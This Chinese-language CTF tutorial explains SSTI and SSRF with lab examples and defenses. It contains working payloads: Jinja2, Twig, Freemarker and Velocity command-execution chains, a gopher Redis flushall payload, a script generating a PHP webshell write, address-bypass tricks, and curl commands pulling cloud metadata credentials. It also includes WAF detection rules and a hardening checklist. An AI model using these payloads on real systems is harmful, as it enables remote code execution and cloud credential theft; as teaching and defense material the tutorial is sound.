引言
SSTI(服务端模板注入)与 SSRF(服务端请求伪造)是 CTF Web 方向里"看起来不相关、实则同源"的两类题目。两者的共同点是:攻击面都不在应用的业务逻辑上,而在应用信任了不该信任的东西——SSTI 信任了拼进模板的用户数据,SSRF 信任了用户给出的目标地址。理解这一点,比记住 payload 更重要。
SSTI 的杀伤力来自模板引擎的表达能力。模板语言为了渲染方便,天然提供了变量访问、函数调用、属性遍历等能力,一旦用户输入被当作模板源码解析,就等于把一门图灵完备(或近似)的语言交给了攻击者。不同引擎的语法、内置对象、沙箱强度差异很大,因此第一步永远是识别引擎。
SSRF 的杀伤力则来自网络位置。一个只能发起 HTTP 请求的小功能,在云环境里可能直通元数据服务、内网管理面板、未授权 Redis。它的难度不在"能不能发请求",而在绕过地址校验和把盲打变成回显。这两件事决定了 SSRF 是"低危信息泄露"还是"内网入口"。
本文按"SSTI 原理 → 引擎识别 → 对象链 → 沙箱 → 防御 → SSRF 原理 → 协议利用 → 绕过与元数据 → 防御"的顺序展开。所有示例均在本地靶场(如 flask 自建应用、ssrf-lab、Docker 自建 Redis)与授权测试语境下给出,不针对任何真实生产系统。
目录
- SSTI 成因:模板拼接与数据绑定
- 引擎指纹识别
- Jinja2:从算术探测到对象链
- Twig 与 Freemarker 的等价路径
- 沙箱逃逸与 disable_functions 绕过
- SSTI 的检测与防御
- SSRF 成因与分类
- 协议利用:gopher 打 Redis 与 MySQL
- SSRF 绕过、云元数据与防御
1. SSTI 成因:模板拼接与数据绑定
模板引擎的设计初衷是数据与表现分离:模板提供结构,数据通过上下文(context)传入,渲染时只做替换,不执行数据内容。SSTI 的根因是把这条边界打破了。
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/safe")
def safe():
# 正确:模板是常量,用户数据只作为变量传入
return render_template_string("Hello {{ name }}!", name=request.args.get("name", ""))
@app.route("/vuln")
def vuln():
# 错误:用户输入被拼进模板源码,会被当作语法解析
return render_template_string("Hello " + request.args.get("name", "") + "!")
区别只有一行,后果完全不同。/safe 传入 {{7*7}} 会原样输出 {{7*7}},因为数据不参与解析;/vuln 传入 {{7*7}} 会输出 49,因为字符串被当作模板源码编译了。
SSTI 的常见触发点比想象中多:邮件模板、报表模板、CMS 主题、多语言文案、错误页渲染、日志格式化(某些日志框架支持模板语法)。判断依据始终是同一个问题——用户输入有没有进入模板源码字符串。前端模板(Vue/Angular 的 {{ }})导致的 XSS 属于另一类问题,不要混为一谈。
2. 引擎指纹识别
不同引擎的 payload 语法不同,盲试会浪费大量请求。高效的顺序是:先发一组区分度高的探测表达式,看哪个被求值,再按回显特征定位引擎与版本。
| 引擎 | 探测 payload | 求值结果 | 说明 |
|---|---|---|---|
| Jinja2 | {{7*7}} / {{7*'7'}} | 49 / 7777777 | Python 语义,字符串可乘 |
| Twig | {{7*7}} / {{7*'7'}} | 49 / 49 | PHP 语义,非数字转 0 |
| Freemarker | ${7*7} | 49 | 使用 ${} 而非 {{}} |
| Velocity | #set($x=7*7)$x | 49 | 指令式,#set 开头 |
| Smarty | {$smarty.version} | 版本号 | 直接暴露版本 |
| Thymeleaf | [[${7*7}]] | 49 | 需 th:inline="text" |
关键判据是 {{7*'7'}}:Jinja2 输出 7777777(字符串重复),Twig 输出 49(PHP 把 '7' 转成 7)。这一条能直接把 Python 系和 PHP 系分开。Freemarker 用 ${},与 {{}} 系完全不同,发一个 ${{7*7}} 观察回显即可区分。
除了语法,还要收集上下文信息:报错信息里往往带引擎名与版本(如 jinja2.exceptions.UndefinedError、Twig\Error\SyntaxError),HTTP 头里的 Set-Cookie(Flask 是 session=,Django 是 csrftoken,PHP 是 PHPSESSID)也能辅助判断后端栈。CTF 中引擎版本直接决定可用 payload——旧版 Jinja2 与新版在 __subclasses__ 索引上完全不同。
3. Jinja2:从算术探测到对象链
确认是 Jinja2 后,利用路径是"从一个字符串对象出发,沿 Python 对象模型爬到能执行命令的对象"。这条链依赖三个内建属性:
__class__ 当前对象的类,字符串字面量的类是 <class 'str'>
__mro__ 方法解析顺序,即继承链,str -> object
__subclasses__() 当前类的所有直接子类,返回列表
__globals__ 函数的全局命名空间,含该模块导入的所有名字
典型构造思路如下({{ }} 内是表达式,逐层取属性):
{{ ''.__class__.__mro__[1].__subclasses__() }}
这条会返回一个很长的类列表。接下来的目标是在其中找到能读文件或执行命令的类,常见目标是 subprocess.Popen、os._wrap_close、warnings.catch_warnings。定位方式是先确定索引:
{{ ''.__class__.__mro__[1].__subclasses__()[<index>].__init__.__globals__['os'].popen('id').read() }}
<index> 与 Python 版本、已导入模块强相关,不存在通用值,必须先在目标环境枚举。这也是 CTF 里"同一道题换台机器就打不通"的原因。
os 之外的等价入口还有 __builtins__(可拿到 eval/exec)与 __import__:
{{ ''.__class__.__mro__[1].__subclasses__()[<index>].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() }}
防御侧要理解:这条链的每一环都是 Python 语言自身的反射能力,无法通过过滤单个关键字根治。把 __class__ 加进黑名单,可以用 attr 过滤器或 |attr('__class__') 绕过;过滤下划线可以用 request.args 拼接。真正的根治只有"不把用户输入当模板"。
CTF 中定位索引的实用做法是先让目标返回 __subclasses__() 的全量列表,再在本地用同样的 Python 版本复现并搜索目标类。若回显长度受限,可用 |length 与索引切片配合,或直接尝试按类名过滤:
{{ ''.__class__.__mro__[1].__subclasses__() | length }}
{{ ''.__class__.__mro__[1].__subclasses__()[300] }}
__subclasses__() 的返回顺序由解释器启动后已加载的类决定,因此 Flask 应用启动时导入的模块(werkzeug、jinja2、sqlalchemy)会显著改变索引。这也是为什么本地复现必须与目标保持相同的依赖版本——用 pip freeze 对齐依赖是 CTF 里省时间的做法。
4. Twig 与 Freemarker 的等价路径
Twig(PHP) 的利用路径依赖 PHP 的对象模型与 _self 上下文。早期版本(Twig 1.x)中常见形态是通过 _self 拿到环境对象,再调用其方法:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
新版 Twig(2.x/3.x)默认开启了更严格的沙箱,_self 不再直接暴露 env,需要从 _self 的公开方法或过滤器(如 map、filter、sort)里找可回调点。CTF 中若遇到 Twig,先确认版本再选手法,用 {{_self.env.getVersion()}} 或报错信息判断。
Freemarker(Java) 使用 ${} 语法,利用路径是 freemarker.template.utility.Execute:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
前提是该类在 Configuration 中未被 newBuiltinClassResolver 限制。Freemarker 从 2.3.17 起支持 TemplateClassResolver 白名单,默认配置下 ?new() 对 Execute 会直接抛异常,这是官方推荐的加固点。
Velocity(Java) 更直接,通过 Runtime 调用:
#set($e="e")#set($run=$e.getClass().forName("java.lang.Runtime"))#set($m=$run.getMethod("getRuntime",null))#set($p=$m.invoke(null,null).exec("id"))
注意 Velocity 的 #set 赋值不需要 $ 前缀在变量名左侧,这是它与其他引擎语法差异最大的一处。三种引擎的共同点是:利用链的最后一环都是语言自身的反射/动态加载能力,过滤关键字永远只是提高门槛。
5. 沙箱逃逸与 disable_functions 绕过
Jinja2 沙箱(jinja2.sandbox.SandboxedEnvironment)会限制属性访问:以下划线开头的属性、非白名单方法会被 SecurityError 拦截。绕过思路分两类:
- 找未受保护的等价入口:
|attr过滤器在部分版本中不受下划线检查约束;__getitem__与__getattribute__可通过索引访问;request、config、cycler、joiner等 Flask 注入的全局对象可提供额外跳板。 - 借沙箱外对象:沙箱只约束模板内表达式的属性解析,不改变 Python 运行时。任何从上下文泄漏进模板的普通对象(如数据库连接、缓存客户端)都可以作为逃逸起点。
PHP 的 disable_functions 是另一层常见限制。它禁的是函数调用,不是能力。绕过原理包括:
- 用未被禁的等价函数(
pcntl_exec、mail的第五参数、imap_open、putenv配合LD_PRELOAD)。 - 通过
FFI(PHP 7.4+)直接调用 C 函数,disable_functions对 FFI 无效。 - 借助扩展提供的回调(
array_map、usort、preg_replace_callback)间接调用被禁函数——前提是目标函数本身在禁名单之外,或禁名单用了大小写/空格变体绕过(disable_functions的解析历史上对空格不敏感)。
检测与防御:模板侧开启沙箱、限制可用过滤器与全局对象、把模板源码置于不可写且不可控的位置;PHP 侧除了 disable_functions,还要关闭 allow_url_include、ffi.enable,并在 open_basedir 上收窄文件访问范围。这些配置属于纵深防御,单靠任何一条都不够。
disable_functions 的配置本身也有讲究,写法不规范会留下空隙:
; 错误示范:用逗号加空格分隔,部分 PHP 版本解析后函数名带空格
disable_functions = exec, system, shell_exec
; 正确写法:逗号分隔且不带空格,覆盖常见执行与文件函数
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,curl_exec,putenv
; 同时关闭高危扩展与开关
ffi.enable = false
allow_url_include = Off
open_basedir = /var/www/html:/tmp
需要清醒认识:disable_functions 只作用于 PHP 用户态函数,无法约束扩展层与 FFI,也无法阻止通过已有对象的方法调用(如 Imagick、SQLite3 的某些方法)。它是抬高门槛的措施,不是边界。
6. SSTI 的检测与防御
检测侧有三个抓手:
- 输入探测:对可能进入模板的参数发送
{{7*7}}、${7*7}、#{7*7}、{{7*'7'}}组合,观察是否被求值。这是 DAST 扫描器(如tplmap的思路)的基础手段。 - 日志特征:模板引擎报错栈(
jinja2.exceptions、Twig\Error)出现在应用日志里,说明有畸形模板语法被解析,是强信号。把这类关键字纳入日志告警规则。 - WAF 规则:对
{{、${、__class__、__globals__等特征做检测,但要注意前端模板与富文本场景的误报。
防御侧按优先级排:
- 不拼接模板:模板源码来自文件或固定常量,用户数据一律走上下文变量。这是唯一根治手段。
- 沙箱化模板环境:Jinja2 用
SandboxedEnvironment,Freemarker 配TemplateClassResolver白名单,Twig 保持默认沙箱不放宽。 - 输出转义:模板输出的内容在渲染到 HTML 时按上下文转义,避免连带 XSS。
- 最小权限:模板渲染进程不持有敏感环境变量与内网凭据,降低逃逸成功后的收益。
在 Web 层加一道拦截,可以覆盖大部分自动化扫描与低级尝试。以 Nginx + ModSecurity 为例,规则只需匹配模板语法特征:
SecRule ARGS "@rx \{\{.*?(7\*7|__class__|__globals__|__subclasses__)" \
"id:9001,phase:2,deny,status:403,msg:'SSTI probe detected'"
SecRule ARGS "@rx \$\{.*?(Runtime|Execute|getClass)" \
"id:9002,phase:2,deny,status:403,msg:'Java template probe detected'"
注意这只是检测层,不是防御层:编码变形、参数污染、分块传输都能绕过正则。它的价值在于把明显的探测行为变成告警,为人工分析争取时间。
与 反序列化漏洞与 RCE 利用链 对照阅读会更清晰:SSTI 与反序列化都是"把数据当代码"的变体,防御原则完全一致——隔离数据与代码、限制可用能力、在入口做类型校验。
7. SSRF 成因与分类
SSRF 的成因是服务端替用户发起了请求,且目标地址可控。典型触发点:图片/文件 URL 抓取、Webhook 回调、URL 预览与截图、PDF 导出、代理与转码服务、SSO 元数据拉取。
按可观测性分为两类:
| 类型 | 特征 | 利用难度 |
|---|---|---|
| 回显型 | 响应体或状态码返回给攻击者 | 低,可直接读内容 |
| 盲打型 | 无回显,只能通过副作用推断 | 高,需带外通道(DNS/HTTP 回连) |
回显型可以直接读内网页面、探测端口、拉取云元数据。盲打型需要构造带外验证:让目标去请求一个攻击者可控的域名,从 DNS 日志或 HTTP 回连确认请求已发出。CTF 中常见做法是让目标请求自身的内网服务并观察副作用(如写入 Redis 队列、触发某个状态变更)。
盲打型 SSRF 的验证链条通常是"三步确认":
- 确认请求发出:让目标请求一个自己可控的域名,观察 DNS 解析日志或 HTTP 回连记录。
- 确认协议与端口:用
http://attacker:80/、https://attacker:443/分别试,判断是否只允许 80/443。 - 确认可达范围:逐步把目标换成内网地址与端口,用响应时间差异做端口扫描(开放端口与关闭端口的超时行为不同)。
这三步在 CTF 与授权测试中都只针对自建环境,且每一步都应有明确的书面授权边界。
分类之后要判断协议支持范围。只用 curl 且限制 http/https 的实现,与用 file_get_contents 且未限制 wrapper 的实现,攻击面差距巨大。判断方法:发一个 file:///etc/passwd、dict://127.0.0.1:6379/info、gopher://127.0.0.1:6379/_info 分别观察响应。
一个典型的脆弱实现长这样(本地靶场示例):
import requests
from flask import Flask, request
app = Flask(__name__)
@app.route("/fetch")
def fetch():
url = request.args.get("url", "")
# 只做了最弱的前缀校验,且允许跟随重定向
if not url.startswith("http"):
return "invalid url", 400
r = requests.get(url, timeout=5) # 默认 allow_redirects=True
return r.text[:2000]
这段代码有三个独立缺陷:前缀校验挡不住 http://127.0.0.1 与进制写法;allow_redirects=True 让 302 可以跳到任意地址;返回响应体让盲打变回显。修复需要同时处理三点,缺一不可。
8. 协议利用:gopher 打 Redis 与 MySQL
gopher:// 是 SSRF 里最关键的协议,因为它允许携带任意 TCP 字节流(URL 编码后可传二进制),相当于把 SSRF 变成了一个通用 TCP 客户端。这让"只能发 HTTP 请求"的漏洞可以打任意基于文本协议的内网服务。
各协议的利用能力差异如下,按实际危害从高到低排列:
| 协议 | 能力 | 典型目标 | 限制 |
|---|---|---|---|
gopher:// | 任意 TCP 字节流 | Redis、FastCGI、Memcached | 需 URL 编码,长度受限 |
dict:// | 单行文本命令 | Redis、探测服务 banner | 无法传二进制与多行 |
file:// | 读本地文件 | /etc/passwd、源码、配置 | 无法写、无法列目录 |
http(s):// | 标准 HTTP | 内网 Web、云元数据 | 无法打非 HTTP 服务 |
ldap:///tftp:// | 特定协议 | 特定服务 | 取决于后端库支持 |
打 Redis 的原理是:Redis 使用 RESP 协议,命令之间用 \r\n 分隔,全部是明文文本。用 gopher 把一组命令拼成字节流发送,Redis 就会顺序执行。
目标:向自建靶场 Redis 写入一条键值(仅本地演示)
先清空并设置键,命令用 %0d%0a 表示 CRLF
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$8%0d%0actf-value%0d%0a
拆解这段 payload:*1 表示数组有 1 个元素,$8 表示接下来 8 字节的字符串,flushall 正好 8 字节。RESP 是长度前缀协议,因此每个 $n 的字节数必须精确,否则 Redis 会解析错位。这是手写 gopher payload 最容易出错的地方。
打 MySQL 同理,但难度更高:MySQL 握手后需要认证,而认证响应依赖密码与随机 salt,无法提前构造静态字节流。CTF 中的可行路径是无密码或弱口令场景,或借助 mysqlnd 的某些特性;真实环境中更常见的是用 gopher 打未授权的 Redis、Memcached、Elasticsearch、FastCGI(打 PHP-FPM 可执行任意 PHP 文件,这是经典链)。
dict:// 只能发一行文本,适合探测与简单命令(如 dict://127.0.0.1:6379/info),能力远弱于 gopher。file:// 用于读本地文件,http:// 用于访问内网 Web 服务。
手写 RESP 字节流容易算错长度,用一段本地脚本生成更可靠:
def resp(*args):
"""把命令列表编码成 RESP 数组,用于生成 gopher payload"""
out = f"*{len(args)}\r\n"
for a in args:
a = str(a)
out += f"${len(a)}\r\n{a}\r\n"
return out
payload = resp("set", "shell", "<?php system($_GET['c']); ?>")
# 再做 URL 编码(保留字母数字与 -._~),前缀 gopher://127.0.0.1:6379/_
from urllib.parse import quote
print("gopher://127.0.0.1:6379/_" + quote(payload, safe=""))
这段代码只用于在自建环境里理解 RESP 的长度前缀机制。真实场景中向生产 Redis 写文件属于高危操作,必须获得明确授权。
防御侧:默认禁用 gopher/dict/file 等非必要协议,只允许 http/https;对目标地址做解析后校验而非字符串校验(防 DNS rebinding);禁止跟随重定向(防 302 跳转绕过);出站流量走统一代理并做域名白名单。Kubernetes 环境下还应结合 Kubernetes 安全加固
中的 NetworkPolicy,把工作负载的出站能力限制到必需范围。
9. SSRF 绕过、云元数据与防御
9.1 地址校验的绕过手法
黑名单校验(“不能是 127.0.0.1、不能是内网段”)是最常见也最容易绕的实现。主要绕过路径:
| 手法 | 示例 | 绕过的校验 |
|---|---|---|
| 进制转换 | http://2130706433/ | 十进制形式的 127.0.0.1 |
| 八进制/十六进制 | http://0177.0.0.1/、http://0x7f000001/ | 字符串匹配 127.0.0.1 |
| 短域名与 DNS | http://127.0.0.1.nip.io/ | 域名黑名单 |
@ 混淆 | http://expected.com@127.0.0.1/ | 只检查 URL 前缀 |
| 解析歧义 | http://127.0.0.1#@evil.com/ | 校验与请求用不同解析器 |
| 302 跳转 | 攻击者站点返回 302 到内网 | 只校验首跳地址 |
| DNS rebinding | TTL=0 的域名先解析为公网、后解析为内网 | 校验时解析、请求时再解析 |
| IPv6 与映射 | http://[::ffff:127.0.0.1]/ | 只过滤 IPv4 写法 |
根因都是同一个:校验用的表示形式与请求时使用的表示形式不一致。根治办法是"解析成 IP 后再校验,且请求时复用同一个已校验的 IP",而不是对原始字符串做匹配。
DNS rebinding 值得单独说明,因为它的窗口最隐蔽:攻击者控制 evil.com 并设置极短 TTL(甚至 0)。第一次解析返回公网 IP,应用校验通过;紧接着攻击者把记录改成 127.0.0.1,应用在真正发起连接时再解析一次,于是连到了内网。防护的关键不是"校验一次",而是"只解析一次,把解析出的 IP 锁死用于连接",同时禁用 HTTP 客户端的连接池复用带来的地址缓存歧义。
9.2 云元数据与 IMDSv2
云环境里 169.254.169.254 是元数据服务地址,能返回实例角色凭据、用户数据、实例 ID 等。SSRF 命中它往往直接等于拿到云上身份。AWS 的缓解措施是 IMDSv2:要求先 PUT /latest/api/token 获取带 TTL 的 token,后续请求携带该 token。由于 IMDSv2 的 token 获取需要 PUT 方法与特定头,单纯的 GET 型 SSRF 无法直接利用。
IMDSv1(已不推荐):直接 GET 即可拿到凭据
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
IMDSv2:必须先申请 token,且 token 有效期最短 1 秒
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
要点:强制 IMDSv2(HttpTokens: required)能挡掉绝大多数 GET 型 SSRF,但不是万能——若应用本身支持 PUT 或能自定义方法与头(如某些代理接口),仍可能被利用。GCP 与 Azure 也各有防护机制(GCP 要求 Metadata-Flavor: Google 头,Azure 要求 Metadata: true 头),共同思路都是"加一个 SSRF 难以伪造的必需头"。
9.3 检测与防御清单
- 出站域名/IP 白名单,默认拒绝,而不是黑名单。
- 只允许
http/https,显式禁用gopher/dict/file/ftp。 - 禁止跟随重定向;若必须跟随,对每一跳重新校验。
- 解析后校验 IP,并锁定校验结果用于实际连接(防 rebinding)。
- 独立出站网段 + NetworkPolicy,元数据服务强制 IMDSv2。
- 日志记录所有出站请求的目标与来源参数,对访问
169.254.169.254或内网段的行为实时告警。
权衡取舍
| 决策点 | 严格方案 | 宽松方案 | 建议 |
|---|---|---|---|
| 模板来源 | 只允许文件模板 | 允许用户自定义模板 | 业务需要自定义时用沙箱 + 白名单语法 |
| SSTI 过滤 | 沙箱环境 + 关键字检测 | 仅关键字黑名单 | 黑名单只能提高门槛,必须配沙箱 |
| SSRF 协议 | 仅 http/https | 全协议开放 | 按业务最小化,转码类需求可单独放行 |
| 地址校验 | 解析后 IP 白名单 | 字符串黑名单 | 黑名单几乎必被绕过,不单独使用 |
| 重定向 | 禁止跟随 | 跟随但限制次数 | 若跟随,必须每跳重校验 |
| 云元数据 | 强制 IMDSv2 | 保留 IMDSv1 | 强制 v2 成本极低,收益极高 |
常见坑清单
- 把
{{7*7}}未被求值就断定没有 SSTI——可能模板上下文是字符串拼接后的二次渲染,换个参数位置再试。 - 用同一份 Jinja2 payload 跨环境复用——
__subclasses__索引随 Python 版本与导入模块变化,必须现场枚举。 - 过滤了
__class__就以为安全——|attr('__class__')与字符串拼接可绕过,应上沙箱而非黑名单。 - 只在前端输入框测 SSTI——真正危险的是模板源码拼接点(邮件模板、报表模板),要从代码侧定位。
- SSRF 只校验字符串
127.0.0.1——十进制、八进制、@、IPv6 映射都能绕过,应解析后校验 IP。 - 校验时解析域名、请求时再解析一次——DNS rebinding 的经典窗口,必须复用校验结果。
- 允许跟随 302 却不重校验——首跳是白名单域名,第二跳直通内网。
- 以为禁了
http就没有 SSRF——gopher/dict/file往往未禁,杀伤力更大。 - 认为强制 IMDSv2 后元数据绝对安全——支持自定义方法或头的代理接口仍可能绕过,需配合出站白名单。
- 盲打型 SSRF 不做带外验证就报"无影响"——没有 DNS/HTTP 回连证据不等于漏洞不存在。
小结
SSTI 与 SSRF 的共同教训是"不要信任不该信任的输入":一个信任了模板语法,一个信任了目标地址。两类漏洞的利用链都高度依赖环境细节——SSTI 依赖引擎版本与 Python/PHP 对象模型,SSRF 依赖网络拓扑与协议支持范围。这决定了它们没有通用 payload,只有通用的方法论:识别环境、构造最小验证、逐步扩展。
防御侧的共同答案是"收窄能力边界":模板走沙箱并禁止拼接,出站走白名单并解析后校验。两者都属于"改造成本不高、收益很大"的加固项,优先级应当排在 WAF 规则之前。把这类边界收窄后,即使应用层还有漏洞,攻击者能触达的范围也被压缩到了最小。
下一步建议把本文与 Web 方向 SQL 注入与 WAF 绕过 、Web 方向 PHP 特性与绕过技巧 串起来练:三者覆盖了 Web 方向最常考的注入类题型,且防御思路(数据与代码分离、最小权限、纵深检测)可以统一理解。
继续阅读
探索更多技术文章
浏览归档,发现更多关于系统设计、工具链和工程实践的内容。